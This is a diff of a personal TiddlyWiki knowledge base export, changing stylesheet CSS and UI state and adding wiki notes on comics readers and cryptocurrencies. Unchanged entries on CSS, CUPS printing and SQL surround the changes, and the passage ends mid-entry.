{"title":"$:/state/tree/$:/state/plugin-info-1867135918-$:/plugins/btheado/","created":"20230926062723341","creator":"Octt","modified":"20230926062724874","modifier":"Octt","text":"hide"},
{"title":"$:/state/tree/$:/state/tab/","created":"20230926062719639","creator":"Octt","modified":"20230926062720724","modifier":"Octt","text":"hide"},
{"title":"$:/state/tree/$:/status/","created":"20230111193642716","creator":"Octt","modified":"20231104225245742","modifier":"Octt","text":"hide"},
-{"title":"$:/state/tree/$:/Styles/","created":"20230108193801573","creator":"Octt","modified":"20231220183957474","modifier":"Octt","text":"hide"},
+{"title":"$:/state/tree/$:/Styles/","created":"20230108193801573","creator":"Octt","modified":"20240127214236792","modifier":"Octt","text":"show"},
{"title":"$:/state/tree/$:/Styles/1337box/","created":"20230114162317662","creator":"Octt","modified":"20230920144632067","modifier":"Octt","text":"hide"},
{"title":"$:/state/tree/$:/Styles/Static/","created":"20230225173056823","creator":"Octt","modified":"20231107223047265","modifier":"Octt","text":"hide"},
{"title":"$:/state/tree/$:/Styles/View/","created":"20230111091048227","creator":"Octt","modified":"20231107223047754","modifier":"Octt","text":"show"},
@@ -1010,7 +1012,7 @@
{"title":"$:/Styles/Global.css","text":".NoDisplay { display: none; }\n\n.NoSelect {\n\t-webkit-touch-callout: none;\n\t-webkit-user-select: none;\n\t-khtml-user-select: none;\n\t-moz-user-select: none;\n\t-ms-user-select: none;\n\tUser-Select: none;\n}\n","created":"20230130151417995","creator":"Octt","modified":"20230130151526950","modifier":"Octt","tags":"$:/tags/Stylesheet","type":"text/css"},
{"title":"$:/Styles/LinkIcon","created":"20230219153505142","creator":"Octt","modified":"20230905223216334","modifier":"Octt","tags":"$:/tags/Stylesheet","text":"\u003C!-- Code originally from \u003Chttps://linkstyle.tiddlyspot.com/>, adapted by me to work just with icons -->\n\n\u003C!-- Notes: \n - Anchor classes are selected via strict HTML attributes to avoid things like custom buttons from being stylized where they shouldn't; we will then need another rule to look for an explicit class to stylize other elements\n - Currently this assumes that the icon field of a tiddler can only have an emoji, never an image URL\n-->\n\n\\define linkstyle()\n\u003C$set name=\"uri\" value=\u003C\u003Cmakedatauri \"\"\"$(tid)$\"\"\" \"text/plain\">> >\n\u003C$list variable=\"urititle\" filter=\"\"\"[\u003Curi>removeprefix[data:text/plain,]]\"\"\">\n\u003Cstyle>\na[href=\"#\u003C\u003Curititle>>\"][class='tc-tiddlylink tc-tiddlylink-resolves']:after,\n.tc-tag-list-item[data-tag-title=\"\u003C\u003Curititle>>\"] > .tc-tag-label:after {\n content: ' \u003C\u003Cicon>>';\n}\n\u003C/style>\n\u003C/$list>\n\u003C/$set>\n\\end\n\n\\define linkbody()\n\\whitespace trim\n\u003C$list filter=\"\"\"[has[linkstyle]] [has[linkstyle-before]] [has[linkstyle-after]] [has[icon]]\"\"\">\n\u003C$vars tid={{!!title}} icon={{!!icon}}>\n\u003C\u003Clinkstyle>>\n\u003C/$vars>\n\u003C/$list>\n\\end\n\n\u003C\u003Clinkbody>>\n"},
{"title":"$:/Styles/Lists","created":"20230307191735805","creator":"Octt","modified":"20230531085347943","modifier":"Octt","tags":"$:/tags/Stylesheet","text":".tc-tiddler-body ul:hover,\n.tc-tiddler-body ol:hover,\n.tc-tiddler-body dd:hover {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n padding-top: 4px;\n padding-bottom: 4px;\n padding-right: 4px;\n}\nul, ol, dd { transition: 0.3s; }\n\n.tc-tiddler-body li { padding-top: 4px; }\n\n/* Definition lists */\ndd:before { content: 'ยป'; margin-right: 8px; vertical-align: top; }\ndl { margin-left: 8px; }\ndl > dd { margin-left: 24px; }\ndl > dd > p,\ndl > dd > div,\ndl > dd > dt {\n display: inline-block;\n max-width: calc(100% - 1.5em);\n}\n/*\ndl > dd > div > ul,\ndl > dd > div > ol {\n padding-left: 16px;\n}*/\ndiv:not(.tc-tiddler-body) > dl > dt,\ndd > p,\ndd > div > p,\ndd > div > ul {\n margin-top: unset;\n margin-bottom: unset;\n}\n"},
-{"title":"$:/Styles/Main","created":"20230108190740128","creator":"Octt","modified":"20231105151520512","modifier":"Octt","tags":"$:/tags/Stylesheet","text":"\\define --HeadingColor0() #c061cb;\n\n\\define sidebarbreakpoint()\n\u003C$text text={{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}/>\n\\end\n\n\\define if-fluid-fixed(text,hiddenSidebarText)\n\u003C$reveal state=\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\" type=\"match\" text=\"fluid-fixed\">\n$text$\n\u003C$reveal state=\"$:/state/sidebar\" type=\"nomatch\" text=\"yes\" default=\"yes\">\n$hiddenSidebarText$\n\u003C/$reveal>\n\u003C/$reveal>\n\\end\n\n/* Override the font used for icon display by the the \u003C$:/plugins/Gk0Wk/notionpage-covericon> plugin, and then also apply it to the :after of .tc-tiddlylink anchors, for consistency.\nWe override adding a \"sans-serif\" to the start due to a spacing bug (?) */\n.gk0wk-notionpagebg-icon1,\n.gk0wk-notionpagebg-icon2,\na[class=\"tc-tiddlylink tc-tiddlylink-resolves\"]:after {\n font-family: sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", NotoColorEmoji, \"Noto Color Emoji\", \"Segoe UI Symbol\", \"Android Emoji\", EmojiSymbols;\n}\n\n/* Mobile */\n@media (max-width: \u003C\u003Csidebarbreakpoint>>) {\n .tc-sidebar-scrollable .tc-sidebar-header { padding-top: 0px; }\n}\n\n/* Desktop */\n@media (min-width: \u003C\u003Csidebarbreakpoint>>) {\n .tc-sidebar-scrollable {\n padding-left: 0px;\n padding-right: 0px;\n }\n .tc-story-river {\n padding: {{$:/Config/OcttKB/Tweaks/Starlight/.tc-story-river Padding}};\n }\n .tc-tiddler-frame {\n padding: 20px /*24px 32px 24px 32px*/;\n margin-bottom: 20px;\n }\n\n\u003C\u003Cif-fluid-fixed text:\"\"\"\n .tc-story-river {\n margin-right: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth}};\n }\n\"\"\" hiddenSidebarText:\"\"\"\n .tc-story-river {\n margin-right: 0px;\n padding-right: 24px;\n }\n\"\"\">>\n}\n\nDiv.View-Breadcrumbs\n{ margin: 4px; padding: 4px; }\n\n/* Inserting HTML content with tag $:/tags/AboveStory causes excess padding on top of the story river; Setting display none breaks that HTML, so we just tweak position */ \n.tc-page-container .tc-story-river > .story-backdrop { position: absolute; }\n\n/* Reduce top padding of sidebar */\n.tc-sidebar-scrollable { padding-top: 12px; }\n.tc-sidebar-scrollable .tc-sidebar-header .tc-reveal .tc-site-subtitle { padding-right: 4em; }\n\n.tc-story-river { padding-bottom: 0px; }\n.tc-story-river ~ p { display: none; }\n\n.tc-tiddler-frame,\n.tc-tiddler-body p iframe {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n}\n\n.tc-tiddler-body p iframe { Border: None; }\n.tc-tiddler-frame { border-radius: 4px; }\n.tc-modal-body { max-height: 75vh /*60vh*/; }\n\n.tc-sidebar-scrollable .tc-sidebar-tabs-main .tc-more-sidebar .tc-tab-content { overflow: visible; }\n\n.tc-unfold-banner {\n width: calc(100% - 8px);\n margin-left: -16px;\n margin-top: -8px;\n}\n\n/* Large tag selection menu, optimized for desktop + nicer tag button */\n.tc-edit-tags .tc-edit-add-tag .tc-block-tags-dropdown {\n position: revert;\n white-space: revert;\n}\n.tc-edit-tags .tc-edit-add-tag .tc-block-tags-dropdown a {\n display: inline-block;\n border-radius: 1em;\n}\n\n.tc-sidebar-search .tc-search .tc-popup-handle[type=\"search\"]:focus {\n border: 2px dashed \u003C\u003C--HeadingColor0>>;\n}\n\n.AiLink { opacity: 0.40; }\n\n.DirList-Title, .DirList-Title * { Font-Style: Normal !Important; }\n.Separator-Right:last-of-type { Display: None; }\n\n.StartHere-Button {\n font-size: x-large /*smaller*/;\n text-decoration: none !important;\n user-select: none;\n}\n.StartHere-Button > img {\n width: 122px;\n image-rendering: pixelated;\n}\n.StartHere-Button > span {\n position: relative;\n top: -20px /*-10px*/;\n}\n\nImg.Img90, .Img90 Img {\n Max-Width: 90%;\n Max-Height: 90vh;\n}\n\n.tc-sidebar-scrollable .tc-sidebar-header .tc-page-controls .tc-popup .tc-drop-down { min-width: auto; }\n\n.tc-story-river > .tc-tiddler-frame .tc-subtitle { margin: 4px; padding: 4px; }\n\n/* Customized sidebar button */\n.tc-topbar.tc-topbar-right {\n bottom: 10px;\n right: 10px;\n top: unset;\n}\n.tc-topbar.tc-topbar-right > button {\n background: RGBA(0,0,0,0.64);\n border-radius: 4px;\n}\n.tc-topbar.tc-topbar-right > button > svg > g { fill: white; }\n\ndetails.tw-details > summary > * { display: inline; }\n\ninput[type=\"range\"] { min-width: 8em; }\n\ninput.Edit-Text-Full { width: 100% !important; }\n\n.tc-tiddler-body details:hover {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n}\n.tc-tiddler-body details:hover > iframe {\n Box-Shadow: none;\n}\n\n.ibox-btn {\n max-width: 35%;\n max-height: 50vh;\n}\n.ibox-btn img {\n width: 100% !important;\n}\n\n.tc-modal {\n width: 80%;\n left: calc((100% - 80%) / 2);\n}\n\n.tb-inc > .tb-inc-controls.tc-tiddler-controls > button {\n\tfont-size: 150%;\n}\n"},
+{"title":"$:/Styles/Main","created":"20230108190740128","creator":"Octt","modified":"20240127214256070","modifier":"Octt","tags":"$:/tags/Stylesheet","text":"\\define --HeadingColor0() #c061cb;\n\n\\define sidebarbreakpoint()\n\u003C$text text={{$:/themes/tiddlywiki/vanilla/metrics/sidebarbreakpoint}}/>\n\\end\n\n\\define if-fluid-fixed(text,hiddenSidebarText)\n\u003C$reveal state=\"$:/themes/tiddlywiki/vanilla/options/sidebarlayout\" type=\"match\" text=\"fluid-fixed\">\n$text$\n\u003C$reveal state=\"$:/state/sidebar\" type=\"nomatch\" text=\"yes\" default=\"yes\">\n$hiddenSidebarText$\n\u003C/$reveal>\n\u003C/$reveal>\n\\end\n\n/* --- */\n\nhtml, body {\n overflow-x: hidden;\n}\n\n/* Override the font used for icon display by the the \u003C$:/plugins/Gk0Wk/notionpage-covericon> plugin, and then also apply it to the :after of .tc-tiddlylink anchors, for consistency.\nWe override adding a \"sans-serif\" to the start due to a spacing bug (?) */\n.gk0wk-notionpagebg-icon1,\n.gk0wk-notionpagebg-icon2,\na[class=\"tc-tiddlylink tc-tiddlylink-resolves\"]:after {\n font-family: sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", NotoColorEmoji, \"Noto Color Emoji\", \"Segoe UI Symbol\", \"Android Emoji\", EmojiSymbols;\n}\n\n/* Mobile */\n@media (max-width: \u003C\u003Csidebarbreakpoint>>) {\n .tc-sidebar-scrollable .tc-sidebar-header { padding-top: 0px; }\n}\n\n/* Desktop */\n@media (min-width: \u003C\u003Csidebarbreakpoint>>) {\n .tc-sidebar-scrollable {\n padding-left: 0px;\n padding-right: 0px;\n }\n .tc-story-river {\n padding: {{$:/Config/OcttKB/Tweaks/Starlight/.tc-story-river Padding}};\n }\n .tc-tiddler-frame {\n padding: 20px /*24px 32px 24px 32px*/;\n margin-bottom: 20px;\n }\n\n\u003C\u003Cif-fluid-fixed text:\"\"\"\n .tc-story-river {\n margin-right: {{$:/themes/tiddlywiki/vanilla/metrics/sidebarwidth}};\n }\n\"\"\" hiddenSidebarText:\"\"\"\n .tc-story-river {\n margin-right: 0px;\n padding-right: 24px;\n }\n\"\"\">>\n}\n\nDiv.View-Breadcrumbs\n{ margin: 4px; padding: 4px; }\n\n/* Inserting HTML content with tag $:/tags/AboveStory causes excess padding on top of the story river; Setting display none breaks that HTML, so we just tweak position */ \n.tc-page-container .tc-story-river > .story-backdrop { position: absolute; }\n\n/* Reduce top padding of sidebar */\n.tc-sidebar-scrollable { padding-top: 12px; }\n.tc-sidebar-scrollable .tc-sidebar-header .tc-reveal .tc-site-subtitle { padding-right: 4em; }\n\n.tc-story-river { padding-bottom: 0px; }\n.tc-story-river ~ p { display: none; }\n\n.tc-tiddler-frame,\n.tc-tiddler-body p iframe {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n}\n\n.tc-tiddler-body p iframe { Border: None; }\n.tc-tiddler-frame { border-radius: 4px; }\n.tc-modal-body { max-height: 75vh /*60vh*/; }\n\n.tc-sidebar-scrollable .tc-sidebar-tabs-main .tc-more-sidebar .tc-tab-content { overflow: visible; }\n\n.tc-unfold-banner {\n width: calc(100% - 8px);\n margin-left: -16px;\n margin-top: -8px;\n}\n\n/* Large tag selection menu, optimized for desktop + nicer tag button */\n.tc-edit-tags .tc-edit-add-tag .tc-block-tags-dropdown {\n position: revert;\n white-space: revert;\n}\n.tc-edit-tags .tc-edit-add-tag .tc-block-tags-dropdown a {\n display: inline-block;\n border-radius: 1em;\n}\n\n.tc-sidebar-search .tc-search .tc-popup-handle[type=\"search\"]:focus {\n border: 2px dashed \u003C\u003C--HeadingColor0>>;\n}\n\n.AiLink { opacity: 0.40; }\n\n.DirList-Title, .DirList-Title * { Font-Style: Normal !Important; }\n.Separator-Right:last-of-type { Display: None; }\n\n.StartHere-Button {\n font-size: x-large /*smaller*/;\n text-decoration: none !important;\n user-select: none;\n}\n.StartHere-Button > img {\n width: 122px;\n image-rendering: pixelated;\n}\n.StartHere-Button > span {\n position: relative;\n top: -20px /*-10px*/;\n}\n\nImg.Img90, .Img90 Img {\n Max-Width: 90%;\n Max-Height: 90vh;\n}\n\n.tc-sidebar-scrollable .tc-sidebar-header .tc-page-controls .tc-popup .tc-drop-down { min-width: auto; }\n\n.tc-story-river > .tc-tiddler-frame .tc-subtitle { margin: 4px; padding: 4px; }\n\n/* Customized sidebar button */\n.tc-topbar.tc-topbar-right {\n bottom: 10px;\n right: 10px;\n top: unset;\n}\n.tc-topbar.tc-topbar-right > button {\n background: RGBA(0,0,0,0.64);\n border-radius: 4px;\n}\n.tc-topbar.tc-topbar-right > button > svg > g { fill: white; }\n\ndetails.tw-details > summary > * { display: inline; }\n\ninput[type=\"range\"] { min-width: 8em; }\n\ninput.Edit-Text-Full { width: 100% !important; }\n\n.tc-tiddler-body details:hover {\n Box-Shadow: 2px 2px 12px RGBA(128, 128, 128, 0.5);\n}\n.tc-tiddler-body details:hover > iframe {\n Box-Shadow: none;\n}\n\n.ibox-btn {\n max-width: 35%;\n max-height: 50vh;\n}\n.ibox-btn img {\n width: 100% !important;\n}\n\n.tc-modal {\n width: 80%;\n left: calc((100% - 80%) / 2);\n}\n\n.tb-inc > .tb-inc-controls.tc-tiddler-controls > button {\n\tfont-size: 150%;\n}\n"},
{"title":"$:/Styles/onhover-toolbar-styles.css","text":".tc-tiddler-frame .tc-titlebar button {\nopacity: 0;\ntransition: opacity .5s ease-in-out;\n}\n.tc-tiddler-frame:hover .tc-titlebar button {\nzoom: 1;\nfilter: alpha(opacity=100);\nopacity: 1;\n}","created":"20150924065447163","creator":"Tobias Beer","modified":"20230110175248723","modifier":"Tobias Beer","revision":"0","tags":"","type":"text/css"},
{"title":"$:/Styles/PIP.css","text":"/* This has to be redone basically from scratch because there are issues with position:fixed without editing the tiddler frame z-index, which can't be done via CSS only (no parent selector) */\n\ninput.PIP-Select, input.PIP-Select+label, div.PIP-Select > input, div.PIP-Select > label, div.PIP-Select > span { width: 1.25em; height: 1.25em; font-size: 1.50em; vertical-align: middle; }\n\n/*\ninput[type=\"radio\"].PIP-Select[value=\"โ๏ธ\"]:checked ~ div { border: 3px solid red; }\ninput[type=\"radio\"].PIP-Select[value=\"โ๏ธ\"]:checked ~ div { border: 3px solid blue; }\n*/\n\n/* Set PIP properties common to all position */\n/*\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"โ\"]):checked,\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"โ\"]):checked ~ input,\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"โ\"]):checked ~ label,\n*/\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"โ\"]):checked ~ input[type=\"radio\"].PIP-Select[value=\"โ\"],\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"โ\"]):checked ~ div {\n position: fixed;\n z-index: 99999;\n top: 0px;\n right: 0px;\n}\n\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"โ\"]):checked ~ input[type=\"radio\"].PIP-Select[value=\"โ\"] { z-index: 100001; }\n\ninput[type=\"radio\"].PIP-Select[value]:not(input[type=\"radio\"].PIP-Select[value=\"โ\"]):checked ~ div {\n /*height: 100vh;*/\n width: 50vw;\n background: white;\n}\n","created":"20230202093634199","creator":"Octt","modified":"20230202194628022","modifier":"Octt","tags":"$:/tags/Stylesheet","type":"text/css"},
{"title":"$:/Styles/Ribbon.html","created":"20230108212828635","creator":"Octt","modified":"20230218112003133","modifier":"Octt","tags":"$:/tags/PageControls","type":"","text":"\u003C!-- TOP RIGHT RIBBON --->\n\u003Cdiv class=\"github-fork-ribbon-wrapper right\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca rel=\"noopener noreferrer\" target=\"_blank\" href=\"https://hub.octt.eu.org\">Visit the Octt Hub ๐\u003C/a>\u003C/div>\u003C/div>"},
@@ -1112,13 +1114,14 @@
{"title":"CHIP-8","created":"20230215191853969","creator":"Octt","modified":"20230215191910586","modifier":"Octt","tags":"","text":"\u003C\u003CWikipediaFrame CHIP-8 en>>"},
{"title":"Clock","created":"20230216212048745","creator":"Octt","icon":"๐ฐ๏ธ","modified":"20230919165558817","modifier":"Octt","page-cover":"https://source.unsplash.com/random?clock","tags":"Time","text":"\u003C\u003C^wikipediaframe Clock en>>\n\n; Some Clocks\n: \u003C\u003CYoutubeL vugulzS0EoU \"2 Retro Clocks with an ESP32 (Couldn't be simpler!)\">>\n"},
{"title":"Coding","created":"20230816230758244","creator":"Octt","modified":"20240110004245125","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"Computer programming\">>\n\n* \u003C\u003CWikipediaL \"Loop unrolling\">>\n** \u003C\u003CWikipediaL \"Duff's device\">> --- I can't totally understand how this works but the piece of code is visually a beautiful machine\n\n* \u003C\u003CWikipediaL Header-only>>\n\n* \u003C\u003CWikipediaL \"Program optimization\">>\n\n* [[How much abstraction is too much?|https://stackoverflow.com/questions/2668355/how-much-abstraction-is-too-much]] ; [[Can too much abstraction be bad?|https://softwareengineering.stackexchange.com/questions/202477/can-too-much-abstraction-be-bad]]\n\n* [[Wandbox|https://wandbox.org/]] --- //Social Compilation Service//, online multi-language code editing and sharing --- \u003C\u003C[# Git\"https://github.com/melpon/wandbox\">>\n"},
+{"title":"Comics","created":"20240128003004602","creator":"Octt","modified":"20240128003714010","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Comics\">>\n\n* [[Tachiyomi|https://tachiyomi.org/]] --- epic open-source reader for Android, but which recently ceased development due to shitty hypercapitalist manwha company issuing a C&D... we are waiting for a spiritual successor\n** Main repo w/sources disappeared from GitHub, and the entire app too from F-Droid; they are probably still on [[Internet Archive]], and I found this mirror here (idk if trustworthy): https://git.mihon.dev/tachiyomi\n"},
{"title":"Compiler","created":"20231103211923238","creator":"Octt","modified":"20231104231633279","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Compiler>>\n\n* \u003C\u003Clinkdescgit Emscripten\"https://github.com/emscripten-core/emscripten\" \"An LLVM-to-WebAssembly Compiler\" \"https://github.com/emscripten-core/emscripten\">>\n"},
{"title":"Computing","created":"20231224171029994","creator":"Octt","modified":"20231227005340172","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Computing\">>\n\n* [[Computernewb|https://computernewb.com/]] --- //personal domain where I host various projects, probably the most famous one being CollabVM//\n\n* \u003C\u003CWikipediaL \"pushd and popd\">>\n"},
{"title":"Content delivery network","created":"20231229013447885","creator":"Octt","modified":"20240102003406854","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Content delivery network\">>\n\n* //''[[ESM>CDN (esm.sh)|https://esm.sh/]]'' esm.sh is a modern CDN that allows you to import es6 modules from a URL// --- \u003C\u003C[# Git\"https://github.com/esm-dev\">>\n"},
{"title":"Copypasta","created":"20230301115915481","creator":"Octt","modified":"20230823101701370","modifier":"Octt","tags":"Meme","text":"\u003C\u003C^wikipediaframe Copypasta>>\n\n* \u003C\u003CRedditL r/copypasta r/copypasta>>\n* [[Copypastas on Trollpasta Wiki|https://trollpasta.com/wiki/Category:Copypasta]]\n* [[Copypasta epiche|https://t.me/epiccopypasta]]\n* [[CopyPasta Italia|https://t.me/copypastaita]]\n\n!!! ''Some specific copypastas''\n\n* [[GNU/Linux Copypasta|https://stallman-copypasta.github.io/]]\n* \u003C\u003CRedditL r/copypasta/comments/158apup/ben_shapiro_on_femboys/ \"Ben Shapiro on femboys\">>\n"},
{"title":"Copyright","created":"20231022234706178","creator":"Octt","modified":"20231022234838813","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Copyright>>\n\n* [[Um, is it normal for someone to casually admit to pirating stuff?|https://www.resetera.com/threads/um-is-it-normal-for-someone-to-casually-admit-to-pirating-stuff.156559/]] --- This thread made me laugh, \"did you admit to a crime\" LMAO\n"},
{"title":"Creative Commons/BY-SA 4.0:en","created":"20220925131851817","modified":"20230206111552087","modifier":"Octt","tags":"TODO $:/i18n:en","text":"!! Creative Commons\n\n!!! ''Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)''\n\nThis is a human-readable summary of (and not a substitute for) the [[license|https://creativecommons.org/licenses/by-sa/4.0/legalcode]].\n\n\u003Cdetails>\n\u003Csummary>Disclaimer\u003C/summary>\n\u003Cp>This deed highlights only some of the key features and terms of the actual license. It is not a license and has no legal value. You should carefully review all of the terms and conditions of the actual license before using the licensed material.\u003C/p>\n\n\u003Cp>Creative Commons is not a law firm and does not provide legal services. Distributing, displaying, or linking to this deed or the license that it summarizes does not create a lawyer-client or any other relationship.\u003C/p>\n\u003C/details>\n\n[img[$:/ThirdParty/Buttons/CC BY-SA.svg]]\n\n!!!'' You are free to:''\n\n''Share'' โ copy and redistribute the material in any medium or format\n\n''Adapt'' โ remix, transform, and build upon the material\nfor any purpose, even commercially.\n\nThe licensor cannot revoke these freedoms as long as you follow the license terms.\n\n!!! ''Under the following terms:''\n\n''Attribution'' โ You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n\n''ShareAlike'' โ If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original.\n\n''No additional restrictions'' โ You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits.\n\n!!! ''Notices:''\nYou do not have to comply with the license for elements of the material in the public domain or where your use is permitted by an applicable exception or limitation.\n\nNo warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as publicity, privacy, or moral rights may limit how you use the material."},
-{"title":"Cryptocurrency","created":"20230218181942782","creator":"Octt","modified":"20230218191138256","modifier":"Octt","tags":"","text":"[[]]\u003C\u003C^wikipediaframe Cryptocurrency>>\n\n* Cryptocurrencies are usually decentralized; in such cases, they are based on a [[Blockchain]].\n*\n\n!! Some cryptocurrencies (+ tokens)\n\n\n!!! ''[[Bitcoin|https://bitcoin.org/]]'' (BTC)\n\n* https://github.com/bitcoin\n\n; Self-custocial Wallets\n: [[Mycelium|https://wallet.mycelium.com/]] (Android) - \u003C\u003C[ \"[[Git|https://github.com/mycelium-com]]\">>\n\n\n!!! ''[[Ethereum|https://ethereum.org/]]'' (ETH)\n\n* https://github.com/ethereum\n\n; Self-custodial Wallets\n: [[AlphaWallet|https://alphawallet.com/]] (Android) - \u003C\u003C[ \"[[Git|https://github.com/AlphaWallet]]\">>\n: [[Metamask|https://metamask.io/]] (Web Extension, Android) - \u003C\u003C[ \"[[Git|https://github.com/MetaMask]]\">>\n\n\n!!! ''[[Monero|https://www.getmonero.org/]]'' (XMR)\n\n* https://github.com/monero-project\n\n; Self-custodial Wallets\n: [[MyMonero|https://mymonero.com/]] (Web, Android, PC) - \u003C\u003C[ \" [[Git|https://github.com/mymonero]]\">>\n"},
+{"title":"Cryptocurrency","created":"20230218181942782","creator":"Octt","modified":"20240127233538211","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Cryptocurrency>>\n\n* Cryptocurrencies are usually decentralized; in such cases, they are based on a [[Blockchain]].\n\n!! Some cryptocurrencies (+ tokens)\n\n!!! ''[[Bitcoin|https://bitcoin.org/]]'' (BTC)\n\n* https://github.com/bitcoin\n\n; Self-custocial Wallets\n: [[Mycelium|https://wallet.mycelium.com/]] (Android) - \u003C\u003C[ \"[[Git|https://github.com/mycelium-com]]\">>\n\n\n!!! [[Dash|https://www.dash.org/]]\n\n//Dash is an experimental digital currency that enables instant, private payments to anyone, anywhere in the world.//\n\nIt's a fork of Bitcoin. There are some advantages, some technical and some situational, but a strange disadvantage I have seen appears to be that wallet syncs take a lot of time.\n\n* https://github.com/dashpay\n\n!!! [[Duino-Coin|https://github.com/revoxhere/duino-coin]]\n\n//Simple, eco-friendly, centralized coin that can be mined with microcontrollers.//\n\n* https://github.com/revoxhere/duino-coin\n\n!!! ''[[Ethereum|https://ethereum.org/]]'' (ETH)\n\n* https://github.com/ethereum\n\n; Self-custodial Wallets\n: [[AlphaWallet|https://alphawallet.com/]] (Android) - \u003C\u003C[ \"[[Git|https://github.com/AlphaWallet]]\">>\n: [[Metamask|https://metamask.io/]] (Web Extension, Android) - \u003C\u003C[ \"[[Git|https://github.com/MetaMask]]\">>\n\n\n!!! ''[[Monero|https://www.getmonero.org/]]'' (XMR)\n\n* https://github.com/monero-project\n\n; Self-custodial Wallets\n: [[MyMonero|https://mymonero.com/]] (Web, Android, PC) - \u003C\u003C[ \" [[Git|https://github.com/mymonero]]\">>\n"},
{"title":"CSS","created":"20230209150101862","creator":"Octt","icon":"๐ ","modified":"20240107152919931","modifier":"Octt","page-cover":"https://images.unsplash.com/photo-1523437113738-bbd3cc89fb19","tags":"Web Frontend","text":"\u003C\u003C^wikipediaframe CSS en>>\n\n!!! ''References''\n\n* [[CSS Attribute Selectors|https://www.w3schools.com/css/css_attribute_selectors.asp]]\n* [[CSS Borders [w3s]|https://www.w3schools.com/css/css_border.asp]]\n** \u003C\u003CMDNLink Web/CSS/border-style border-style>> --- all ways to style a border, not only colors\n\n!!! ''Frameworks''\n\n* [[Bulma|https://bulma.io/]] --- //modern CSS framework that just works//\n* [[PaperCSS|https://www.getpapercss.com/]] --- //the less formal CSS framework//\n* [[W3.CSS|https://www.w3schools.com/w3css/default.asp]] --- //A Quality Alternative to Bootstrap, is Smaller, Faster and Easier to Use.//\n\n!!! ''Amazing''\n\n* [[CSS Zen Garden|https://csszengarden.com/]] --- //The Beauty of CSS Design//\n* [[Pure CSS Minesweeper|https://codepen.io/bali_balo/pen/BLJONZ?editors=1100]]\n* [[Spinning Diagrams with CSS|https://x.st/spinning-diagrams-with-css]]\n* [[Bubble Sort...in PURE CSS? [No JS] ๐ฑ|https://dev.to/grahamthedev/bubble-sortin-pure-css-no-js-3bb1]]\n* [[25 CSS Paper Effects|https://freefrontend.com/css-paper-effects/]]\n* [[Reusable CSS \"Sticker\" Effect|https://dev.to/5t3ph/reusable-css-sticker-effect-44lc]]\n"},
{"title":"CTGP Nitro","created":"20230205150034992","creator":"Octt","modified":"20230213165348163","modifier":"Octt","tags":"Mod [[Mario Kart DS]]","text":"//Rediscover Mario Kart DS once again!//\n\n//''[[CTGP Nitro|https://dswiki.garhoogin.com/ctgp-n/]]'' is the biggest, most ambitious Mario Kart DS Rom Hack to date. Instead of replacing the existing tracks, it preserves the whole vanilla experience and adds new tracks, speedrunning quality of life improvements, online mode adjustments, new skins for characters and much more!//\n"},
{"title":"CUPS","created":"20230825221340887","creator":"Octt","modified":"20230902000445288","modifier":"Octt","tags":"Unix Printing","type":"","text":"\u003C\u003C^wikipediaframe CUPS>>\n\n* [[CUPS: Command-Line Printing and Options|http://www.it.uu.se/datordrift/maskinpark/skrivare/cups/]] including Linux-specific ones.\n* [[CUPS-PDF, Print to PDF from any Application|https://cubiclenate.com/2021/01/21/cups-pdf-print-to-pdf-from-any-application/]] --- Must probably be installed separately via `cups-pdf` package --- Outputs are by default in `~/PDF/`\n\n* [[How do you administer CUPS remotely using the web interface?|https://askubuntu.com/questions/23936/how-do-you-administer-cups-remotely-using-the-web-interface]] --- `cupsctl --remote-admin --remote-any ` (and optionally `--share-printers`), then restart `cups` service, and visit `http://{IpAddress}:631`. Redo commands but with `no-` suffix to flags to disable the feature.\n"},
@@ -1135,7 +1138,7 @@
{"title":"Database","created":"20231223234312578","creator":"Octt","modified":"20240119162211752","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Database>>\n\n!! SQL (Structured Query Language)\n\n\u003C\u003C^wikipediaframe SQL>>\n\n* [[SQL Tutorial - Essential SQL For The Beginners|https://www.sqltutorial.org/]], //helps you get started with SQL quickly and effectively through many practical examples.//\n\n* [[SQL Server reverse order after using desc|https://stackoverflow.com/questions/12534248/sql-server-reverse-order-after-using-desc]] --- just use a subselect subquery, `SELECT * FROM (... ORDER BY x DESC) _ ORDER BY x ASC`\n* [[How to count instances of character in SQL Column|https://stackoverflow.com/questions/1860457/how-to-count-instances-of-character-in-sql-column#1860478]] --- `SELECT LEN(col) - LEN(REPLACE(col, 'x', ''))`\n** [[SQL String: Counting Words inside a String|https://stackoverflow.com/questions/41952250/sql-string-counting-words-inside-a-string]] --- various methods more specially catered for counting words, than the naive space counting\n** Note: for counting in many rows together, the `SUM()` function must be used, [[or else you will go mad like 